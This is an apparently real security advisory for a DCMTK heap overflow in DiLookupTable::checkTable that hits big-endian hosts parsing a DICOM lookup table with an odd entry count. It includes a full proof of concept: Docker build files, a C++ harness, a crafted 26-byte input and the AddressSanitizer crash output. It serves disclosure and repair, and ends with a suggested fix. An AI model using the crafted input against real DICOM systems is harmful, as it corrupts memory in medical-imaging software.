As reported by quellsec.dev:
Summary¶
On big-endian hosts, DiLookupTable::checkTable expands an 8-bit-allocated DICOM lookup table into a freshly allocated 16-bit buffer of Count entries but the byte-swapping copy loop writes Count+1 entries when NumberOfTableEntries is odd, overrunning the buffer by one Uint16. The little-endian path writes the correct number of entries, so this is specific to big-endian builds (s390x, ppc/ppc64 BE, SPARC).
Affected version¶
- Target: dcmtk (dcmimgle)
- Commit read:
7246c5a9ca64c2d4312774bf40d046e255c00a41
- Bug is in library code (
dcmimgle/libsrc/diluptab.cc).
Crash¶
AddressSanitizer: heap-buffer-overflow, WRITE of size 2, 0 bytes to the right of the Count-entry region.
Crash site: dcmimgle/libsrc/diluptab.cc:246 in DiLookupTable::checkTable.
Root cause¶
The 8-bit-allocated branch allocates Count 16-bit entries, then on a big-endian host runs a loop of count = (Count+1)>>1 iterations that writes two entries each:
dcmimgle/libsrc/diluptab.cc:231
bc(cpp). if (count == ((Count + 1) >> 1)) // bits allocated 8, ignore padding
dcmimgle/libsrc/diluptab.cc:235
bc(cpp). DataBuffer = new Uint16[Count]; // create new LUT
dcmimgle/libsrc/diluptab.cc:240
bc(cpp). if (gLocalByteOrder == EBO_BigEndian) // local machine has big endian byte ordering
dcmimgle/libsrc/diluptab.cc:243
bc(cpp). for (i = count; i != 0; --i) // copy 8 bit entries to new 16 bit LUT (swap hi/lo byte)
dcmimgle/libsrc/diluptab.cc:245
bc(cpp). *(q++) = *(p + 1); // copy low byte ...
dcmimgle/libsrc/diluptab.cc:246
bc(cpp). *(q++) = *p; // ... and then high byte
The loop performs 2*count stores. For odd Count, count = (Count+1)/2 and 2*count = Count+1, so the final *(q++) = *p (line 246) writes DataBuffer[Count], one element past the end. The stored value is a byte of the attacker-controlled LUTData. The little-endian branch is correct:
dcmimgle/libsrc/diluptab.cc:250
bc(cpp). for (i = Count; i != 0; --i)
Reproduction¶
The PoC builds a LUTDescriptor (0028,3002) with an odd NumberOfTableEntries and a matching (Count+1)/2-word LUTData (0028,3006), then constructs a DiLookupTable. On the little-endian test host it sets gLocalByteOrder to EBO_BigEndian so the library takes its own big-endian branch; the allocation, branch selection, and copy loop all run unmodified inside libdcmimgle and abort at diluptab.cc:246. Reproduction status: yes-rebuilt-and-ran (big-endian branch forced on an LE host; not run on a physical BE machine).
Proof of Concept¶
Self-contained. docker build clones the target at the pinned commit and builds it under AddressSanitizer + UndefinedBehaviorSanitizer; docker run feeds the crafted input and reproduces the fault. Save the files below into a poc/ directory and:
bc. docker build -t poc . && docker run --rm poc
Sanitizer outputSanitizer output
[poc] forced gLocalByteOrder = EBO_BigEndian (2)
[poc] Count=3 (odd) LUTData words=2 -> 8-bit branch writes 4 entries into Uint16[3]
=================================================================
==7==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5020000001b6 at pc 0x55b24a5ec88a bp 0x7ffff8cff460 sp 0x7ffff8cff450
WRITE of size 2 at 0x5020000001b6 thread T0
#0 0x55b24a5ec889 in DiLookupTable::checkTable(unsigned long, unsigned short, EL_BitsPerTableEntry, EI_Status*) /work/targets/dcmtk/dcmimgle/libsrc/diluptab.cc:246
#1 0x55b24a5f851b in DiLookupTable::Init(unsigned short const*, unsigned long, DcmUnsignedShort const&, DcmLongString const*, EL_BitsPerTableEntry, long, EI_Status*) /work/targets/dcmtk/dcmimgle/libsrc/diluptab.cc:205
#2 0x55b24a5fd7be in DiLookupTable::DiLookupTable(DcmUnsignedShort const&, DcmUnsignedShort const&, DcmLongString const*, EL_BitsPerTableEntry, long, EI_Status*) /work/targets/dcmtk/dcmimgle/libsrc/diluptab.cc:98
#3 0x55b24a5e27d0 in main /work/poc/poc_dcmtk-diluptab-8bit-lut-bigendian-oob-write/harness.cc:93
#4 0x7f5b8592a1c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9)
#5 0x7f5b8592a28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a)
#6 0x55b24a5e1934 in _start (/work/poc/poc_dcmtk-diluptab-8bit-lut-bigendian-oob-write/harness+0x811934)
0x5020000001b6 is located 0 bytes to the right of 6-byte region [0x5020000001b0,0x5020000001b6)
allocated by thread T0 here:
#0 0x7f5b86574997 in operator new[](unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:102
#1 0x55b24a5eacea in DiLookupTable::checkTable(unsigned long, unsigned short, EL_BitsPerTableEntry, EI_Status*) /work/targets/dcmtk/dcmimgle/libsrc/diluptab.cc:235
#2 0x55b24a5f851b in DiLookupTable::Init(unsigned short const*, unsigned long, DcmUnsignedShort const&, DcmLongString const*, EL_BitsPerTableEntry, long, EI_Status*) /work/targets/dcmtk/dcmimgle/libsrc/diluptab.cc:205
#3 0x55b24a5fd7be in DiLookupTable::DiLookupTable(DcmUnsignedShort const&, DcmUnsignedShort const&, DcmLongString const*, EL_BitsPerTableEntry, long, EI_Status*) /work/targets/dcmtk/dcmimgle/libsrc/diluptab.cc:98
#4 0x55b24a5e27d0 in main /work/poc/poc_dcmtk-diluptab-8bit-lut-bigendian-oob-write/harness.cc:93
#5 0x7f5b8592a1c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9)
#6 0x7f5b8592a28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a)
#7 0x55b24a5e1934 in _start (/work/poc/poc_dcmtk-diluptab-8bit-lut-bigendian-oob-write/harness+0x811934)
SUMMARY: AddressSanitizer: heap-buffer-overflow /work/targets/dcmtk/dcmimgle/libsrc/diluptab.cc:246 in DiLookupTable::checkTable(unsigned long, unsigned short, EL_BitsPerTableEntry, EI_Status*)
Shadow bytes around the buggy address:
0x0a047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0a047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0a047fff8000: fa fa 00 00 fa fa 00 fa fa fa 00 fa fa fa fd fa
0x0a047fff8010: fa fa fd fd fa fa fd fd fa fa 00 00 fa fa 00 fa
0x0a047fff8020: fa fa fd fd fa fa fd fd fa fa 04 fa fa fa 06 fa
=>0x0a047fff8030: fa fa 04 fa fa fa[06]fa fa fa fa fa fa fa fa fa
0x0a047fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0a047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0a047fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0a047fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0a047fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
.dockerignore (crafted input).dockerignore (crafted input)
bc(text). # Stale host-built artifacts: never ship into the build context.
- The image rebuilds everything from a clean upstream clone.
dcmtk-build/
build-asan/
harness
.o
.a
build.log
*.poc.zip
crafted_lut_elements.bin (26-byte binary inputxxd hex)
Reconstruct the 26-byte binary crafted_lut_elements.bin from this hexdump (xxd -r -p reverses it):
bc. xxd -r -p > crafted_lut_elements.bin <<'EOF'
2800023055530600030000000800280006305553040000aa01aa
EOF
build.shbuild.sh
#!/usr/bin/env bash
# Build the dcmtk diluptab 8-bit-LUT big-endian OOB-write PoC.
#
# Self-contained: DCMTK source lives at $LIB (=/src, cloned at the pinned
# commit by the Dockerfile); the harness is compiled in the poc dir (/poc).
# No host paths, no private image. A full dcmtk build is enormous, so we build
# ONLY the modules this PoC reaches (ofstd oflog oficonv dcmdata dcmimgle --
# dcmimgle carries diluptab.cc) with the triage sanitizer matrix:
# -fsanitize=address,undefined -fno-sanitize-recover=undefined
set -euo pipefail
SRC="${LIB:-/src}"
POC="$(cd "$(dirname "$0")" && pwd)"
BUILD="$SRC/build-asan"
MODULES="ofstd;oflog;oficonv;dcmdata;dcmimgle"
MAKE_TARGETS="dcmimgle dcmdata oflog ofstd oficonv"
LINK_LIBS="-ldcmimgle -ldcmdata -loflog -lofstd -loficonv"
INC_MODULES="ofstd oflog oficonv dcmdata dcmimgle"
SAN="-fsanitize=address,undefined -fno-sanitize-recover=undefined -fno-omit-frame-pointer -g -O1"
CXX="${CXX:-g++}"
if [ ! -f "$BUILD/.configured" ]; then
mkdir -p "$BUILD"; cd "$BUILD"
cmake -G "Unix Makefiles" "$SRC" \
-DCMAKE_BUILD_TYPE=Debug \
-DBUILD_SHARED_LIBS=OFF -DBUILD_APPS=OFF \
-DDCMTK_MODULES="$MODULES" \
-DDCMTK_WITH_ZLIB=OFF -DDCMTK_WITH_OPENSSL=OFF -DDCMTK_WITH_PNG=OFF \
-DDCMTK_WITH_TIFF=OFF -DDCMTK_WITH_XML=OFF -DDCMTK_WITH_ICONV=OFF \
-DDCMTK_WITH_ICU=OFF -DDCMTK_WITH_OPENJPEG=OFF \
-DDCMTK_ENABLE_CHARSET_CONVERSION=oficonv \
-DCMAKE_C_FLAGS="$SAN" -DCMAKE_CXX_FLAGS="$SAN" -DCMAKE_EXE_LINKER_FLAGS="$SAN"
touch "$BUILD/.configured"
fi
cd "$BUILD"
make -j"$(nproc)" $MAKE_TARGETS
LIBDIR=""
for d in "$BUILD/lib" "$BUILD"; do
if ls "$d"/libdcmdata.a >/dev/null 2>&1; then LIBDIR="$d"; break; fi
done
[ -n "$LIBDIR" ] || { echo "FAIL: dcmtk libs not found"; find "$BUILD" -name 'lib*.a'; exit 1; }
echo "libs in: $LIBDIR"
INCS="-I$SRC/config/include -I$BUILD/config/include"
for m in $INC_MODULES; do INCS="$INCS -I$SRC/$m/include"; done
"$CXX" $SAN $INCS "$POC/harness.cc" -o "$POC/harness" \
-L"$LIBDIR" $LINK_LIBS -lpthread
echo "BUILT: $POC/harness"
run.shrun.sh
#!/usr/bin/env bash
# Run the dcmtk diluptab 8-bit-LUT big-endian OOB-write PoC.
# Expect an AddressSanitizer heap-buffer-overflow WRITE one Uint16 past the
# DataBuffer = new Uint16[Count] allocation, top library frame in
# DiLookupTable::checkTable at dcmimgle/libsrc/diluptab.cc.
set -uo pipefail
POC="$(cd "$(dirname "$0")" && pwd)"
SRC="${LIB:-/src}"
export DCMDICTPATH="$SRC/dcmdata/data/dicom.dic"
export ASAN_OPTIONS="abort_on_error=1:halt_on_error=1:detect_leaks=0:symbolize=1"
export ASAN_SYMBOLIZER_PATH="${ASAN_SYMBOLIZER_PATH:-$(command -v llvm-symbolizer || true)}"
echo "=== dcmtk diluptab 8-bit BE LUT OOB-write (expect ASan heap-buffer-overflow WRITE in diluptab.cc) ==="
"$POC/harness"
rc=$?
echo "=== exit: $rc ==="
exit "$rc"
DockerfileDockerfile
# Self-contained reproducer image for dcmtk (DCMTK DICOM toolkit) findings.
#
# Clones DCMTK at the exact commit the finding was verified against and builds
# ONLY the dcmtk modules the PoC needs (a full dcmtk build is enormous) with
# AddressSanitizer + UndefinedBehaviorSanitizer, then compiles the finding's
# harness against those sanitized static libs. No private base image and no
# local source tree are needed: a maintainer runs the two commands below and
# reproduces the crash from a clean machine.
#
# docker build -t poc .
# docker run --rm poc
#
# build.sh does the scoped module build (cmake -DDCMTK_MODULES="..." + make of
# just the needed targets) and the harness compile, so the per-finding module
# set lives in build.sh and this Dockerfile is identical for every dcmtk PoC.
#
# Toolchain: GCC (g++) + libasan/libubsan, the exact toolchain these findings
# were triaged under (their reference asan_output.txt traces show GCC's
# libsanitizer). It matters: one finding (the diluptab big-endian PoC) drives
# the library's big-endian branch by writing the runtime byte-order global
# through a const_cast; clang places that global read-only and elides the UB
# store, so the bug would not reproduce under clang. GCC reproduces it.
FROM ubuntu:24.04
# Pinned in pipeline/targets.yaml (dcmtk.commit). Override at build time with
# --build-arg COMMIT=<sha> to reproduce against another revision.
ARG COMMIT=7246c5a9ca64c2d4312774bf40d046e255c00a41
ENV DEBIAN_FRONTEND=noninteractive LIB=/src CC=gcc CXX=g++
RUN apt-get update && apt-get install -y --no-install-recommends \
git ca-certificates g++ gcc libasan8 libubsan1 cmake make \
&& rm -rf /var/lib/apt/lists/*
RUN git clone https://github.com/DCMTK/dcmtk /src \
&& git -C /src checkout "$COMMIT"
WORKDIR /poc
COPY . /poc
RUN bash build.sh
CMD ["bash", "run.sh"]
harness.ccharness.cc
/*
* PoC harness for dcmtk-diluptab-8bit-lut-bigendian-oob-write
*
* Site: dcmimgle/libsrc/diluptab.cc DiLookupTable::checkTable() (243-248)
*
* Bug: an 8-bit-allocated DICOM lookup table is expanded into a freshly
* allocated 16-bit buffer DataBuffer = new Uint16[Count] (line 235).
* The two byte-order branches disagree on how many entries they write:
*
* little-endian (250): for (i = Count; i != 0; --i) *(q++) = *(p++); // writes Count
* big-endian (243): for (i = count; i != 0; --i) { *(q++)=*(p+1); *(q++)=*p; p+=2; } // writes 2*count
*
* with count == (Count + 1) >> 1 (the "8 bits allocated, ignore padding"
* branch selected at line 231). When Count is ODD, 2*count == Count+1, so
* the big-endian branch writes one Uint16 PAST DataBuffer[Count-1], i.e. an
* out-of-bounds heap write of the attacker-controlled high byte.
*
* The defect is real on any big-endian DICOM host (s390x, ppc/ppc64 BE,
* sparc, ...). We run on a little-endian x86_64 host, so to exercise the
* library's own big-endian code path we overwrite the library global
* gLocalByteOrder (a runtime-initialized "const" enum living in writable
* .data) with EBO_BigEndian before constructing the LUT. We change ONLY
* the host-byte-order flag the library keys off; the buggy copy loop, the
* allocation, and the OOB write all execute unmodified inside libdcmimgle.
*
* Detection: DataBuffer is allocated by the library at the exact size
* new Uint16[Count], so ASan places a redzone immediately after the last
* valid entry; the one-element overrun crosses that redzone and aborts with
* the top non-sanitizer frame inside diluptab.cc (library code).
*/
#include "dcmtk/config/osconfig.h"
#include "dcmtk/dcmdata/dcvrus.h" // DcmUnsignedShort
#include "dcmtk/dcmdata/dcdeftag.h" // DCM_LUTDescriptor / DCM_LUTData
#include "dcmtk/dcmdata/dctk.h"
#include "dcmtk/dcmdata/dcxfer.h" // gLocalByteOrder, E_ByteOrder, EBO_BigEndian
#include "dcmtk/dcmimgle/diluptab.h"
#include "dcmtk/dcmimgle/diutils.h"
#include <cstdio>
/* Build the LUT descriptor and data elements that drive checkTable().
* descriptor (0028,3002): NumberOfTableEntries=Count, FirstInputValueMapped=0,
* BitsPerEntry=8 (informational only)
* data (0028,3006): exactly (Count+1)/2 16-bit words. For US VR the
* library derives count = VM = number of Uint16 words, so count ==
* (Count+1)>>1 selects the "8 bits allocated" branch (line 231). Source is
* therefore exact-sized too: the big-endian loop reads exactly
* 2*count == Count+1 bytes, all in bounds, so the abort is a WRITE, not
* a source over-read. */
static void build_lut_elements(Uint16 Count,
DcmUnsignedShort &descriptor,
DcmUnsignedShort &data)
{
Uint16 desc[3] = { Count, 0, 8 };
descriptor.putUint16Array(desc, 3);
const unsigned long words = (unsigned long)((Count + 1) >> 1);
Uint16 lut[(65535u + 1u) / 2u];
for (unsigned long i = 0; i < words; ++i)
lut[i] = (Uint16)(0xAA00u | (i & 0xff)); // distinctive high bytes
data.putUint16Array(lut, (unsigned long) words);
std::fprintf(stderr,
"[poc] Count=%u (odd) LUTData words=%lu -> 8-bit branch writes %lu entries into Uint16[%u]\n",
Count, words, 2u * words, Count);
}
int main(int argc, char **argv)
{
/* NumberOfTableEntries: must be ODD so that 2*count == Count+1 overruns.
* Keep it small so the redzone overrun is unambiguous. */
Uint16 Count = 3;
if (argc > 1)
Count = (Uint16) strtoul(argv[1], NULL, 0);
if ((Count & 1) == 0)
{
std::fprintf(stderr, "[poc] Count must be odd to trigger; got %u\n", Count);
return 2;
}
/* Simulate a big-endian DICOM host: select the vulnerable copy branch. */
const_cast<E_ByteOrder &>(gLocalByteOrder) = EBO_BigEndian;
std::fprintf(stderr, "[poc] forced gLocalByteOrder = EBO_BigEndian (%d)\n",
(int) gLocalByteOrder);
DcmUnsignedShort descriptor(DcmTag(DCM_LUTDescriptor, EVR_US));
DcmUnsignedShort data(DcmTag(DCM_LUTData, EVR_US));
build_lut_elements(Count, descriptor, data);
/* Drive the real library entry point: this constructor calls
* DiDocument::getElemValue -> Init -> checkTable, where the OOB write
* happens. No part of the vulnerable path lives in this harness. */
EI_Status status = EIS_Normal;
DiLookupTable lut_obj(data, descriptor, NULL /*explanation*/,
ELM_UseValue, -1 /*first*/, &status);
std::fprintf(stderr, "[poc] survived (status=%d) - bug did NOT fire\n",
(int) status);
return 0;
}
Impact¶
Controlled 2-byte heap out-of-bounds write past an exact-size LUT buffer, driven by a malicious DICOM LUT with an odd entry count, during image rendering. Genuine memory corruption, but only on big-endian builds; little-endian deployments are unaffected. Severity: medium overall (high on big-endian deployments).
Suggested fix¶
Drive the big-endian loop by the destination index so it writes exactly Count entries (matching the allocation and the little-endian branch), handling the trailing odd byte explicitly instead of always writing two entries per source word.
<hr />
All quoted code verified present in source at commit 7246c5a9ca64c2d4312774bf40d046e255c00a41 (snippet gate: OPEN, 7/7 PASS).